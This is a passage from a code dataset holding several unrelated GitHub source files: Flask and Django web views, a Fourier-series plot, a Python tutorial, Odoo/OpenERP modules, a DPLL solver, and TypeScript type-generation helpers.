dict()\n \n for items in address_add_form:\n address_add_form_data[items.id] = items.data\n \n element = DeliveryCharge.from_dict(address_add_form_data)\n db.session.add(element)\n db.session.commit()\n\n flash('Delivery Charge For Address Added')\n\n return redirect(url_for('main.delivery_charges'))\n\n # weight charge add form\n if request.method == \"POST\" and weight_add_form.submit4.data and weight_add_form.validate_on_submit():\n print(\"sds\")\n weight_add_form_data = dict()\n \n for items in weight_add_form:\n weight_add_form_data[items.id] = items.data\n \n element = WeightDeliveryCharge.from_dict(weight_add_form_data)\n db.session.add(element)\n db.session.commit()\n\n flash('Delivery Charge For Weight Added')\n\n return redirect(url_for('main.delivery_charges'))\n\n if address_update_form.submit2.data and address_update_form.validate_on_submit():\n\n # print(\"update form\")\n update_form_data = dict()\n\n for items in address_update_form:\n update_form_data[items.id] = items.data\n\n element = DeliveryCharge.query.get_or_404(update_form_data[\"charge_id\"])\n \n element.address_pin = update_form_data.get('address_pin', element.address_pin)\n element.amount = update_form_data.get('amount', element.amount)\n \n db.session.add(element)\n db.session.commit()\n \n\n flash('Delivery Charge Updated')\n\n return redirect(url_for('main.delivery_charges'))\n \n if request.method == \"POST\" and weight_update_form.submit5.data and weight_update_form.validate_on_submit():\n\n # print(\"update form\")\n update_form_data = dict()\n\n for items in weight_update_form:\n update_form_data[items.id] = items.data\n\n element = WeightDeliveryCharge.query.get_or_404(update_form_data[\"charge_id\"])\n \n element.start_weight = update_form_data.get('start_weight', element.start_weight)\n element.end_weight = update_form_data.get('end_weight', element.end_weight)\n \n element.amount = update_form_data.get('amount', element.amount)\n \n db.session.add(element)\n db.session.commit()\n \n\n flash('Delivery Charge Updated')\n\n return redirect(url_for('main.delivery_charges'))\n\n# address delete form\n\n if address_delete_form.submit3.data and address_delete_form.validate_on_submit():\n\n # print(\"delete called\")\n delete_form_data = dict()\n for items in address_delete_form:\n delete_form_data[items.id] = items.data\n\n element = DeliveryCharge.query.get_or_404(delete_form_data[\"charge_id\"])\n \n try:\n db.session.delete(element)\n db.session.commit()\n except exc.SQLAlchemyError as e:\n db.session.rollback()\n flash(\"Could not delete, Something went wrong\")\n else:\n flash('Delivery Charge For Address Deleted')\n\n return redirect(url_for('main.delivery_charges'))\n\n# Weight delete form\n if request.method == \"POST\" and weight_delete_form.submit6.data and weight_delete_form.validate_on_submit():\n\n # print(\"delete called\")\n delete_form_data = dict()\n for items in weight_delete_form:\n delete_form_data[items.id] = items.data\n\n element = WeightDeliveryCharge.query.get_or_404(delete_form_data[\"charge_id\"])\n \n try:\n db.session.delete(element)\n db.session.commit()\n except exc.SQLAlchemyError as e:\n db.session.rollback()\n flash(\"Could not delete, Something went wrong\")\n else:\n flash('Delivery Charge For Weight Deleted')\n\n return redirect(url_for('main.delivery_charges'))\n\n\n\n \n\n return render_template('delivery_charges.html',\\\n address_charges = address_charges,\\\n address_add_form = address_add_form,\\\n address_update_form = address_update_form,\\\n address_delete_form = address_delete_form,\\\n \n weight_charges = weight_charges,\\\n weight_add_form = weight_add_form,\\\n weight_update_form = weight_update_form,\\\n weight_delete_form = weight_delete_form)\n\n\n\n\n\n@main.route('/settings', methods=['GET', 'POST'])\n@login_required\ndef settings():\n\n changeUsernameForm = ChangeUsernameForm()\n changePasswordForm = ChangePasswordForm()\n\n\n changeShopDetailForm = ChangeShopDetailForm()\n\n shop = ShopDetails.query.all()[0]\n \n if changeShopDetailForm.submit3.data and changeShopDetailForm.validate_on_submit():\n\n changeShopDetailFormData= {}\n for item in changeShopDetailForm:\n changeShopDetailFormData[item.id] = item.data\n\n\n shop.shop_name = changeShopDetailFormData.get('shop_name', shop.shop_name)\n shop.shop_email = changeShopDetailFormData.get('shop_email', shop.shop_email)\n shop.contact_phone = changeShopDetailFormData.get('contact_phone', shop.contact_phone)\n shop.details = changeShopDetailFormData.get('details', shop.details)\n shop.address = changeShopDetailFormData.get('address', shop.address)\n\n db.session.add(shop)\n db.session.commit()\n flash('Your Shop details has been updated.')\n return redirect(url_for('main.settings'))\n\n else:\n changeShopDetailForm = ChangeShopDetailForm(\\\n shop_name = shop.shop_name,shop_email= shop.shop_email,contact_phone = shop.contact_phone,\\\n details = shop.details,address = shop.address)\n\n\n\n\n if changeUsernameForm.submit1.data and changeUsernameForm.validate_on_submit():\n if current_user.verify_password(changeUsernameForm.password.data):\n new_username = changeUsernameForm.username.data.lower()\n current_user.username = new_username\n db.session.add(current_user)\n db.session.commit()\n flash('Your Username has been updated.')\n return redirect(url_for('main.settings'))\n else:\n flash('Invalid password.')\n\n\n if changePasswordForm.submit2.data and changePasswordForm.validate_on_submit():\n if current_user.verify_password(changePasswordForm.old_password.data):\n current_user.password = changePasswordForm.password.data\n db.session.add(current_user)\n db.session.commit()\n flash('Your password has been updated.')\n return redirect(url_for('main.settings'))\n else:\n flash('Invalid password.')\n \n \n\n return render_template('settings.html',\\\n changeUsernameForm = changeUsernameForm,\\\n changePasswordForm=changePasswordForm,\\\n changeShopDetailForm= changeShopDetailForm)\n","repo_name":"yourstoreorders/Groserry_app","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":20960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"27559057183","text":"# -*- coding: utf-8 -*-\n\nfrom matplotlib.pyplot import *\nfrom numpy import *\n\ndef sn_signo(m,x):\n \"\"\"\n Implementación escalar de la serie truncada hasta orden n de la serie de Fourier de la función signo.\n \"\"\" \n sn_signo=0\n for k in range(m+1):\n sn_signo=sn_signo+(4/pi)*sin((2*k+1)*x)/(2.*k+1.)\n return sn_signo\n\nx=linspace(-3.*pi,3.*pi,300)\nx_signo=linspace(-pi,pi,100)\n\nfig=figure(figsize=(15,5))\nplot(x_signo,sign(x_signo),'black',label=r'$f(\\theta)$',lw=3)\ncolores=['blue','red','brown','purple']\ndasheses=[[],[8,2],[6,6],[8,2,2,2]]\nfor k in range(4):\n plot(x,sn_signo(k,x),colores[k], dashes=dasheses[k],label=r\"$S_{%d}(\\theta)$\" % k,lw=2)\n#title(ur'Serie de Fourier de Función Signo truncada hasta $n=%d$'% n,fontsize=18)\nyticks([-1,0,1],['-1','0','1'])\nxticks([-3*pi,-2*pi,-pi,0,pi,2*pi,3*pi],['$-3\\pi$','$-2\\pi$','$-\\pi$','0','$\\pi$','$2\\pi$','$3\\pi$'])\nxlabel(r'$\\theta$',fontsize=15)\nylabel(r'$S_n(\\theta)$',fontsize=15)\nlegend(loc='best', fontsize=13)\ngrid()\nfig.savefig(\"../figs/fig-Fourier-serie-signo.pdf\")\n","repo_name":"kalgatica/FM2","sub_path":"figuras-editables/fig-Fourier-serie-signo.py","file_name":"fig-Fourier-serie-signo.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"71"} +{"seq_id":"5460088519","text":"from urllib.request import urlopen\n\n# String\n# 'Flemming' or \"Flemming\" important is that you are consistance about it\n#\n\n# for newlines Multiline string and Escape sequences like \\n\n\"\"\" this is\na multiline\nstring\"\"\"\n\n'''So \nis \nthis.'''\n\n# r prefix is to supress escape mechanisme\npath = r'C:\\Users\\FLEMMING.CHRISTENSE'\nprint(path)\n\ns = 'parrot'\nprint(s[4])\n\n#type(s[4]) shows it is class 'str' in the python virtual enviroment\n\n# in python consol help(str) shows you all the functions string class have\n\nc = 'oslo'\nprint(c)\n# returns a new string called Oslo\nc = c.capitalize()\nprint(c)\n\n## bytes are prefixed with b\n\n''' Data type for sequences of bytes, Raw binary data, Fixed-width single-byte encodings'''\n\n# b'data'\n\n## list \"array\"\n\n''' Sequences of object Mutable\"can be changed\" A workhorse in Python'''\n\na = [1, 5, 7]\n\nprint(a)\na.append(34)\nprint(a)\nprint(a[0])\n\n## dict \"dictonary\" \"Maps\"\n'''Fundamental data structure in Python, Map keys to values, Also known as maps or associative arrays '''\n\nd = {'Alice': '75775418', 'Bob': '75773829'}\n\nprint(d['Alice'])\nd['Alice'] = '75775420'\nprint(d['Alice'])\n\n# Asign a key that do not exist in the dict will creat a new key\nd['Eve'] = '75776425'\nprint(d)\n\n## for-loop\nfor item in d:\n print(item, d[item])\n\n## putting it all togetter\n\nstory = urlopen('http://sixty-north.com/c/t.txt')\n\nstory_words = []\n\nfor line in story:\n line_words = line.split()\n for word in line_words:\n story_words.append(word)\n\n# remember to close after use :)\nstory.close()\nprint(\"Bytes b'something'\")\nprint(story_words)\n\nstory_words.clear()\n\nstory = urlopen('http://sixty-north.com/c/t.txt')\n\nfor line in story:\n line_words = line.decode('utf8').split()\n for word in line_words:\n story_words.append(word)\n\nstory.close()\nprint('without bytes indectation')\nprint(story_words)","repo_name":"theflamio/Python_Core_Curse","sub_path":"ScalarTypesOperatorsControlFlow/StringCollectionIteration.py","file_name":"StringCollectionIteration.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23446020202","text":"from osv import fields, osv\nimport time\nfrom tools.translate import _\n\nclass procurement_order(osv.osv):\n \"\"\"\n Procurement Orders\n \"\"\"\n _name = \"procurement.order\"\n _inherit = \"procurement.order\"\n \n\n def make_mo(self, cr, uid, ids, context=None):\n result = super(procurement_order, self).make_mo(cr, uid, ids, context)\n aerospace = False\n aerospace_check=False\n production_obj = self.pool.get('mrp.production')\n move_obj = self.pool.get(\"stock.move\")\n \n procurement_obj = self.pool.get('procurement.order')\n for procurement in procurement_obj.browse(cr, uid, ids, context=context):\n res_id = procurement.move_id.id\n move_ids = move_obj.search(cr, uid, [('id','=',res_id)])\n if move_ids:\n move_data = move_obj.browse(cr, uid, move_ids,context)\n if move_data[0].sale_line_id:\n aerospace_check = move_data[0].sale_line_id.order_id.aerospace\n if aerospace_check:\n prod_ids = production_obj.search(cr, uid, [('move_prod_id','=',res_id)])\n production_obj.write(cr, uid, prod_ids, {'x_job_order_type': 'Aerospace'})\n\n return result\n \nprocurement_order()\n\nclass sale_order(osv.osv):\n _name = \"sale.order\"\n _inherit = \"sale.order\"\n \n _columns = {\n 'aerospace': fields.boolean(\"MO Type Aerospace\", help=\"Select to create manufacturing order as 'Aerospace'.\"),\n 'crm_po_no': fields.char(\"CRM PO Number\", size=120),\n }\n \nsale_order()\n\nclass stock_move(osv.osv):\n _inherit = \"stock.move\"\n _columns = {\n 'crm_po_no': fields.char(\"CRM PO Number\", size=120),\n }\nstock_move()\n\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","repo_name":"browseinfo/Gargasso-addonsv6","sub_path":"server/bin/addons/sale_aerospace_check_navyug/sale_aerospace_check.py","file_name":"sale_aerospace_check.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37782345735","text":"import random\r\nHANGMAN_PICS =['''\r\n +---+\r\n |\r\n |\r\n |\r\n === ''', '''\r\n +---+\r\n o |\r\n |\r\n |\r\n === ''', '''\r\n +---+\r\n o |\r\n | |\r\n |\r\n === ''', '''\r\n +---+\r\n o |\r\n /| |\r\n |\r\n === ''', ''' \r\n +---+\r\n o |\r\n /|\\ |\r\n |\r\n === ''', '''\r\n +---+\r\n o |\r\n /|\\ |\r\n / |\r\n === ''', '''\r\n +---+\r\n o |\r\n /|\\ |\r\n / \\ |\r\n === ''', '''\r\n +---+ ]\r\n [o] |\r\n /|\\ |\r\n / \\ |\r\n ===''']\r\nwords = {'animals': \"\"\"ant baboon badger bat bear beaver camel cat clam cobra cougar\r\n coyote crow deer dog donkey duck eagle ferret fox frog goat goose hawk\r\n lion lizard llama mole monkey moose mouse mule newt otter olw panda\r\n parrot pigeon python rabbit ram rat raven rhino salmon seal shark sheep\r\n skunk sloth snake spider stork swan tiger toad trout turky turtle\r\n weasel whale wolf wombat zebra\"\"\".split(),\r\n 'colors': 'red orange yellow green blue indigo violet white black brown'.split(),\r\n 'shapes': \"\"\"square triangle rectangle circle ellipse rhombus trapezoid chevron pentagon\r\n hexagon septagon octagon\"\"\".split(),\r\n 'fruits': '''apple orange lemon lime pear watermelon grape grapefruit cherry banana\r\n cantaloupe mango strawberry tomato'''.split(),} \r\n\r\ndef get_random_word(word_dict):\r\n word_key = random.choice(list(word_dict.keys()))\r\n word_index = random.randint(0, len(word_dict[word_key]) - 1)\r\n return [word_dict[word_key][word_index], word_key]\r\n\r\ndef display_board(missed_letters, correct_letters, secret_word):\r\n print(HANGMAN_PICS[len(missed_letters)])\r\n print()\r\n\r\n print('Missed letters:', end='')\r\n for letter in missed_letters:\r\n print(letter, end=' ')\r\n print()\r\n\r\n blanks = '-' * len(secret_word)\r\n for i in range(len(secret_word)):\r\n if secret_word[i] in correct_letters:\r\n blanks = blanks[:i] + secret_word[i] + blanks[i + 1:]\r\n\r\n for letters in blanks:\r\n print(letters, end=' ')\r\n\r\n print()\r\n \r\ndef get_guess(already_guessed):\r\n while True:\r\n print('Guess a letter.')\r\n guess = input()\r\n guess = guess.lower()\r\n if len(guess) != 1:\r\n print('Please enter a single letter.')\r\n elif guess in already_guessed:\r\n print('You have already guessed thet letter. Choose again.')\r\n elif not guess.isalpha():\r\n print('Please enter a LETTER')\r\n else:\r\n return guess\r\n\r\ndef play_again():\r\n print(\"Do you want to play again? (yes/no)\")\r\n if input().lower().startswith('y'):\r\n return True\r\n else:\r\n return False\r\n\r\nprint(\"H A N G M A N\")\r\n\r\ndifficulty = ''\r\nwhile difficulty not in list('EHM'):\r\n print('Enter difficulty: E - Easy, m-medium, H-Hard')\r\n difficulty = input().upper()\r\nif difficulty == 'M':\r\n del HANGMAN_PICS[8:9]\r\nif difficulty =='H':\r\n del HANGMAN_PICS[3:9]\r\n\r\nmissed_letters = ''\r\ncorrect_letters = ''\r\nsecret_word, secret_set = get_random_word(words)\r\ngame_is_done = False\r\n\r\nwhile True:\r\n print('The secret word is in the set: ' + secret_set)\r\n display_board(missed_letters, correct_letters, secret_word)\r\n\r\n guess = get_guess(missed_letters + correct_letters)\r\n\r\n if guess in secret_word:\r\n correct_letters += guess\r\n found_all_letters = True\r\n for i in range(len(secret_word)):\r\n if secret_word[i] not in correct_letters:\r\n found_all_letters = False\r\n break\r\n if found_all_letters:\r\n print('Yes! the secret word is \"' + secret_word + '\"! You have won!')\r\n game_is_done = True\r\n else:\r\n missed_letters = missed_letters + guess\r\n\r\n if len(missed_letters) == len(HANGMAN_PICS) -1:\r\n display_board(missed_letters, correct_letters, secret_word) \r\n print('You have run out of guesses!\\nAfter ' +\r\n str(len(missed_letters)) + ' missed guesses and ' +\r\n str(len(correct_letters)) + ' correct guesses, the word was \"' +\r\n secret_word + '\"')\r\n game_is_done = True \r\n if game_is_done:\r\n if play_again():\r\n missed_letters = ''\r\n correct_letters = ''\r\n game_is_done = False\r\n secret_word, secret_set = get_random_word(words)\r\n else:\r\n break\r\n\r\n\r\n\r\n\r\n","repo_name":"Popzzy/projects_and_game","sub_path":"Hangman.py","file_name":"Hangman.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14864570624","text":"def swapByThreeVar(list):\n # t a b t \n t=list[0]\n list[0]=list[1] \n list[1]=t \n#end of function \n\n\ndef main():\n a=10\n b=20\n list=[a,b ]\n print(\"Before function call\")\n print(list[0])\n print(list[1])\n swapByThreeVar(list)\n print(\"after swap\")\n print(list[0])\n print(list[1])\n#end of main() function \n\n\n#entry point\nmain()\n\n","repo_name":"anantsonarfornation/my-github-repo","sub_path":"swapthreevar.py","file_name":"swapthreevar.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31733143618","text":"import base64\nimport logging\n\nfrom odoo import api, fields, models\n\n_logger = logging.getLogger(__name__)\n\ntry:\n from cryptography import x509\n from cryptography.hazmat.backends import default_backend\n from cryptography.hazmat.primitives import serialization\nexcept (ImportError, IOError) as err:\n _logger.error(err)\n\n\nclass L10nEsAeatCertificate(models.Model):\n _inherit = \"l10n.es.aeat.certificate\"\n\n tbai_p12 = fields.Binary(compute=\"_compute_tbai_p12\")\n tbai_p12_friendlyname = fields.Char(\"Alias\")\n\n def get_p12(self):\n \"\"\"\n Because for signing the XML file is needed a PKCS #12 and\n the passphrase is not available in the AEAT certificate,\n create a new one and set the certificate and its private key\n from the stored files.\n :return: A PKCS #12 archive\n \"\"\"\n self.ensure_one()\n with open(self.public_key, \"rb\") as f_crt:\n with open(self.private_key, \"rb\") as f_pem:\n f_crt = f_crt.read()\n f_pem = f_pem.read()\n if isinstance(f_pem, str):\n f_pem = bytes(f_pem, \"utf-8\")\n pkey = serialization.load_pem_private_key(\n f_pem, password=None, backend=default_backend()\n )\n cert = x509.load_pem_x509_certificate(f_crt, backend=default_backend())\n p12 = (pkey, cert, [])\n return p12\n\n @api.depends(\"public_key\", \"private_key\", \"tbai_p12_friendlyname\")\n def _compute_tbai_p12(self):\n for record in self:\n p12 = record.get_p12()\n if record.tbai_p12_friendlyname: # Set on Certificate Password Wizard\n p12.set_friendlyname(record.tbai_p12_friendlyname.encode(\"utf-8\"))\n record.tbai_p12 = base64.b64encode(p12.export())\n","repo_name":"OCA/l10n-spain","sub_path":"l10n_es_ticketbai/models/aeat_certificate.py","file_name":"aeat_certificate.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":203,"dataset":"github-code","pt":"69"} +{"seq_id":"74277229338","text":"# A is in clausal form\n# Example of A (DIMACS CNF): [{1, -3}, {2, 3, -1}, {1}] (list of clauses, that is set of literals)\n\nfrom functools import reduce\n\n\ndef DPPL(clauses):\n return DPPL_rec(clauses, set())\n\n\ndef DPPL_rec(clauses, interpretation):\n clauses, interpretation2 = unit_propagation(clauses, set())\n interpretation = interpretation.union(interpretation2)\n if set() in clauses:\n return False\n if clauses == []:\n return interpretation\n literal = get_literal(clauses)\n clauses1 = clauses + [{literal}]\n clauses2 = clauses + [{-1 * literal}]\n answer = DPPL_rec(clauses1, interpretation.copy())\n if answer != False:\n return answer\n return DPPL_rec(clauses2, interpretation.copy())\n\n\ndef get_literal(clauses):\n # Heuristic: branch on a literal whose atom occurs most often in a clause of shortest length\n min_length = len(reduce(lambda x, y: x if len(x) < len(y) else y, clauses))\n indexes = list(filter(lambda x: len(clauses[x]) == min_length, range(len(clauses))))\n literals = reduce(lambda x, y: x.union(y), clauses)\n literal = reduce(lambda a, b: a if sum([1 if a in clauses[x] else 0 for x in indexes]) > sum([1 if b in clauses[x] else 0 for x in indexes]) else b, literals)\n return literal\n\n\ndef unit_propagation(clauses, interpretation):\n for i in range(len(clauses)):\n if len(clauses[i]) == 1:\n unit_literal = list(clauses[i])[0]\n interpretation = interpretation.union(\n {(unit_literal, False)}) if unit_literal < 0 else interpretation.union({(unit_literal, True)})\n A = []\n for clause in clauses:\n if unit_literal not in clause:\n clause.discard(-1 * unit_literal)\n A += [clause]\n return unit_propagation(A, interpretation)\n return clauses, interpretation","repo_name":"LeviCC8/DPLL","sub_path":"DPLL.py","file_name":"DPLL.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"29811770763","text":"import sys\n\ninput = sys.stdin.readline\nINF = 10 ** 5\n\n\n# 1106 호텔\n# 각 도시에서 한번 홍보를 하는데 드는 비용과 그 때마다 유치할 수 있는 고객의 수가 주어질 때\n# 최소 c명의 고객을 유치하기 위해 필요한 비용의 최솟값을 구하는 문제\ndef sol1106():\n c, n = map(int, input().split())\n\n # dp[i] 는 i 명의 고객을 유치하기 위해 필요한 최소비용\n # 한번의 홍보로 유치할 수 있는 고객의 수가 최대 100명이므로\n # 한번의 홍보로 고객의 수가 c명 미만에서 c명을 넘어서는 경우는 최대 c+99 까지 (c-1 + 100)\n dp = [INF] * (c+100)\n\n # 주어진 홍보 효율로 dp 갱신\n dp[0] = 0\n for _ in range(n):\n u, v = map(int, input().split())\n dp[v] = min(dp[v], u)\n\n # dp[i] = min(dp[0] + dp[i], dp[1] + dp[i-1], ... , dp[j] + dp[i-j])\n # j는 i // 2 까지만 검사해도 됨 (그 이후는 대칭)\n for i in range(1, c+100):\n for j in range(i // 2 + 1):\n dp[i] = min(dp[i], dp[j] + dp[i-j])\n\n return min(dp[c:])\n","repo_name":"Scalas/PS_BaekJoon","sub_path":"solutions/sol1106.py","file_name":"sol1106.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"29201404390","text":"from stone.backend import Backend\nfrom stone.backends.helpers import (\n fmt_camel,\n)\nfrom stone.ir import (\n Boolean,\n Bytes,\n Float32,\n Float64,\n Int32,\n Int64,\n List,\n String,\n Timestamp,\n UInt32,\n UInt64,\n Void,\n is_alias,\n is_list_type,\n is_struct_type,\n is_map_type,\n is_user_defined_type,\n)\nfrom stone.ir.api import ApiNamespace\n\n_base_type_table = {\n Boolean: 'boolean',\n Bytes: 'string',\n Float32: 'number',\n Float64: 'number',\n Int32: 'number',\n Int64: 'number',\n List: 'Array',\n String: 'string',\n UInt32: 'number',\n UInt64: 'number',\n Timestamp: 'Timestamp',\n Void: 'void',\n}\n\n\ndef fmt_error_type(data_type, inside_namespace=None, wrap_error_in=''):\n \"\"\"\n Converts the error type into a TypeScript type.\n inside_namespace should be set to the namespace that the reference\n occurs in, or None if this parameter is not relevant.\n \"\"\"\n return '{}<{}>'.format(\n (wrap_error_in if (wrap_error_in != '') else 'Error'),\n fmt_type(data_type, inside_namespace)\n )\n\ndef fmt_type_name(data_type, inside_namespace=None):\n \"\"\"\n Produces a TypeScript type name for the given data type.\n inside_namespace should be set to the namespace that the reference\n occurs in, or None if this parameter is not relevant.\n \"\"\"\n if is_user_defined_type(data_type) or is_alias(data_type):\n if data_type.namespace == inside_namespace:\n return data_type.name\n else:\n return '{}.{}'.format(data_type.namespace.name, data_type.name)\n else:\n fmted_type = _base_type_table.get(data_type.__class__, 'Object')\n if is_list_type(data_type):\n fmted_type += '<' + fmt_type(data_type.data_type, inside_namespace) + '>'\n elif is_map_type(data_type):\n key_data_type = _base_type_table.get(data_type.key_data_type, 'string')\n value_data_type = fmt_type_name(data_type.value_data_type, inside_namespace)\n fmted_type = '{{[key: {}]: {}}}'.format(key_data_type, value_data_type)\n return fmted_type\n\ndef fmt_polymorphic_type_reference(data_type, inside_namespace=None):\n \"\"\"\n Produces a TypeScript type name for the meta-type that refers to the given\n struct, which belongs to an enumerated subtypes tree. This meta-type contains the\n .tag field that lets developers discriminate between subtypes.\n \"\"\"\n # NOTE: These types are not properly namespaced, so there could be a conflict\n # with other user-defined types. If this ever surfaces as a problem, we\n # can defer emitting these types until the end, and emit them in a\n # nested namespace (e.g., files.references.MetadataReference).\n return fmt_type_name(data_type, inside_namespace) + \"Reference\"\n\ndef fmt_type(data_type, inside_namespace=None):\n \"\"\"\n Returns a TypeScript type annotation for a data type.\n May contain a union of enumerated subtypes.\n inside_namespace should be set to the namespace that the type reference\n occurs in, or None if this parameter is not relevant.\n \"\"\"\n if is_struct_type(data_type) and data_type.has_enumerated_subtypes():\n possible_types = []\n possible_subtypes = data_type.get_all_subtypes_with_tags()\n for _, subtype in possible_subtypes:\n possible_types.append(fmt_polymorphic_type_reference(subtype, inside_namespace))\n if data_type.is_catch_all():\n possible_types.append(fmt_polymorphic_type_reference(data_type, inside_namespace))\n return fmt_union(possible_types)\n else:\n return fmt_type_name(data_type, inside_namespace)\n\ndef fmt_union(type_strings):\n \"\"\"\n Returns a union type of the given types.\n \"\"\"\n return '|'.join(type_strings) if len(type_strings) > 1 else type_strings[0]\n\ndef fmt_func(name, version):\n if version == 1:\n return fmt_camel(name)\n return fmt_camel(name) + 'V{}'.format(version)\n\n\ndef fmt_var(name):\n return fmt_camel(name)\n\ndef fmt_tag(cur_namespace, tag, val):\n \"\"\"\n Processes a documentation reference.\n \"\"\"\n if tag == 'type':\n fq_val = val\n if '.' not in val and cur_namespace is not None:\n fq_val = cur_namespace.name + '.' + fq_val\n return fq_val\n elif tag == 'route':\n if ':' in val:\n val, version = val.split(':', 1)\n version = int(version)\n else:\n version = 1\n return fmt_func(val, version) + \"()\"\n elif tag == 'link':\n anchor, link = val.rsplit(' ', 1)\n # There's no way to have links in TSDoc, so simply use JSDoc's formatting.\n # It's entirely possible some editors support this.\n return '[{}]{{@link {}}}'.format(anchor, link)\n elif tag == 'val':\n # Value types seem to match JavaScript (true, false, null)\n return val\n elif tag == 'field':\n return val\n else:\n raise RuntimeError('Unknown doc ref tag %r' % tag)\n\n\ndef check_route_name_conflict(namespace):\n \"\"\"\n Check name conflicts among generated route definitions. Raise a runtime exception when a\n conflict is encountered.\n \"\"\"\n\n route_by_name = {}\n for route in namespace.routes:\n route_name = fmt_func(route.name, route.version)\n if route_name in route_by_name:\n other_route = route_by_name[route_name]\n raise RuntimeError(\n 'There is a name conflict between {!r} and {!r}'.format(other_route, route))\n route_by_name[route_name] = route\n\n\ndef generate_imports_for_referenced_namespaces(backend, namespace, module_name_prefix):\n # type: (Backend, ApiNamespace, str) -> None\n\n imported_namespaces = namespace.get_imported_namespaces()\n if not imported_namespaces:\n return\n\n for ns in imported_namespaces:\n backend.emit(\n \"import * as {namespace_name} from '{module_name_prefix}{namespace_name}';\".format(\n module_name_prefix=module_name_prefix,\n namespace_name=ns.name\n )\n )\n backend.emit()\n\ndef get_data_types_for_namespace(namespace):\n return namespace.data_types + namespace.aliases\n","repo_name":"dropbox/stone","sub_path":"stone/backends/tsd_helpers.py","file_name":"tsd_helpers.py","file_ext":"py","file_size_in_byte":6186,"program_lang":"python","lang":"en","doc_type":"code","stars":395,"dataset":"github-code","pt":"69"} +{"seq_id":"8199336924","text":"import base64\nimport functools\nimport json\nimport pprint\nimport requests\nimport time\nimport uuid\nimport urllib\n\nfrom datetime import datetime, timedelta\nfrom .models import AccessLog, Client, ClientReport, UnknownReport\nfrom django.conf import settings\nfrom django.contrib import auth\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ValidationError\nfrom django.core.paginator import Paginator\nfrom django.db import models, transaction\nfrom django.http import Http404, HttpResponseBadRequest, JsonResponse\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom django.views.decorators.csrf import csrf_exempt\n\n# Create your views here.\n\ndef get_ip(request):\n x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')\n print(request.META)\n if x_forwarded_for:\n return x_forwarded_for.split(',')[0]\n else:\n print(request.META.get('REMOTE_ADDR'))\n return request.META.get('REMOTE_ADDR')\n\ndef index(request):\n client_reports = ClientReport.objects.values('client_id').annotate(id=models.Max('id'))\n clients_no_report = Client.objects.exclude(id__in=[c['client_id'] for c in client_reports]).order_by('client_id')\n client_reports = ClientReport.objects.filter(id__in=[c['id'] for c in client_reports]).select_related('client').order_by('client_id')\n now = time.time()\n table = []\n for client_report in client_reports:\n client = client_report.client\n report = json.loads(client_report.report)\n status = 'ok'\n if client_report.version != '0.1.2.1':\n status = '监测脚本不匹配'\n platform = ''\n elif report['uname'][0] == 'Linux':\n platform = '{:s} {:s}'.format(report['dist'][0].capitalize(), report['dist'][1])\n elif report['uname'][0] == 'Windows':\n platform = 'Windows {:s}'.format(report['uname'][2])\n else:\n platform = report['uname'][0]\n tr = []\n tr.append(client.display_name or client.client_id)\n tr.append(platform)\n ips = [client_report.ip]\n tr.append(ips)\n if status == 'ok':\n tr.append([\n '{:d}核{:d}线程'.format(report['cpu_count_physical'], report['cpu_count_logical']),\n '(使用 {:.0f}%)'.format(report['cpu_percent']),\n '最高频率 {:.1f}GHz'.format(report['cpu_freq'][2] / 1000),\n ])\n tr.append('N/A' if report['loadavg'] is None else '{:.1f}'.format(report['loadavg'][2]))\n tr.append('{:.1f}G ({:.0f}%)'.format(report['virtual_memory'][0] / 1024 ** 3, report['virtual_memory'][2]))\n disks = list(zip(report['disk_partitions'], report['disk_usage']))\n disks.sort(key=lambda a: (a[0][0], -a[1][0]))\n disks = [usage for i, (partition, usage) in enumerate(disks) if partition[0] not in set(p[0] for p, _ in disks[:i])]\n tr.append(['{:.0f}G ({:.0f}%)'.format(disk[0] / 1024**3, disk[3]) for disk in disks if disk[0] / 1024**3 > 9])\n if report['nvml_version']:\n tr.append([dev['nvmlDeviceGetName'] for dev in report['nvmlDevices']])\n tr.append(['{:.1f}G ({:.0f}%)'.format(\n dev['nvmlDeviceGetMemoryInfo']['total'] / 1024**3,\n dev['nvmlDeviceGetMemoryInfo']['used'] / dev['nvmlDeviceGetMemoryInfo']['total'] * 100,\n ) for dev in report['nvmlDevices']])\n tr.append(['{:s}% {:.0f}W {:d}℃'.format(\n '-' if dev['nvmlDeviceGetUtilizationRates']['gpu'] is None else '{:d}'.format(dev['nvmlDeviceGetUtilizationRates']['gpu']),\n dev['nvmlDeviceGetPowerUsage'] / 1000,\n dev['nvmlDeviceGetTemperature'],\n ) for dev in report['nvmlDevices']])\n else:\n tr.extend(['N/A'] * 3)\n users = [user[0] for user in report['users']]\n users = sorted(list(set(users)))\n if len(users) > 4:\n users = users[:3] + ['...']\n tr.append(users)\n tr.append('{:.0f} 天'.format((now - report['boot_time']) / 86400, 0))\n dt = now - client_report.created_at.timestamp()\n if dt >= 86400:\n tr.append([\n '{:.0f} 分钟前'.format(dt / 60),\n '({:.1f} 天前)'.format(dt / 86400),\n ])\n else:\n tr.append('{:.0f} 分钟前'.format(dt / 60))\n else:\n tr += [''] * 9\n tr.append(status)\n # tr.append(client.manager)\n tr.append(client.info)\n 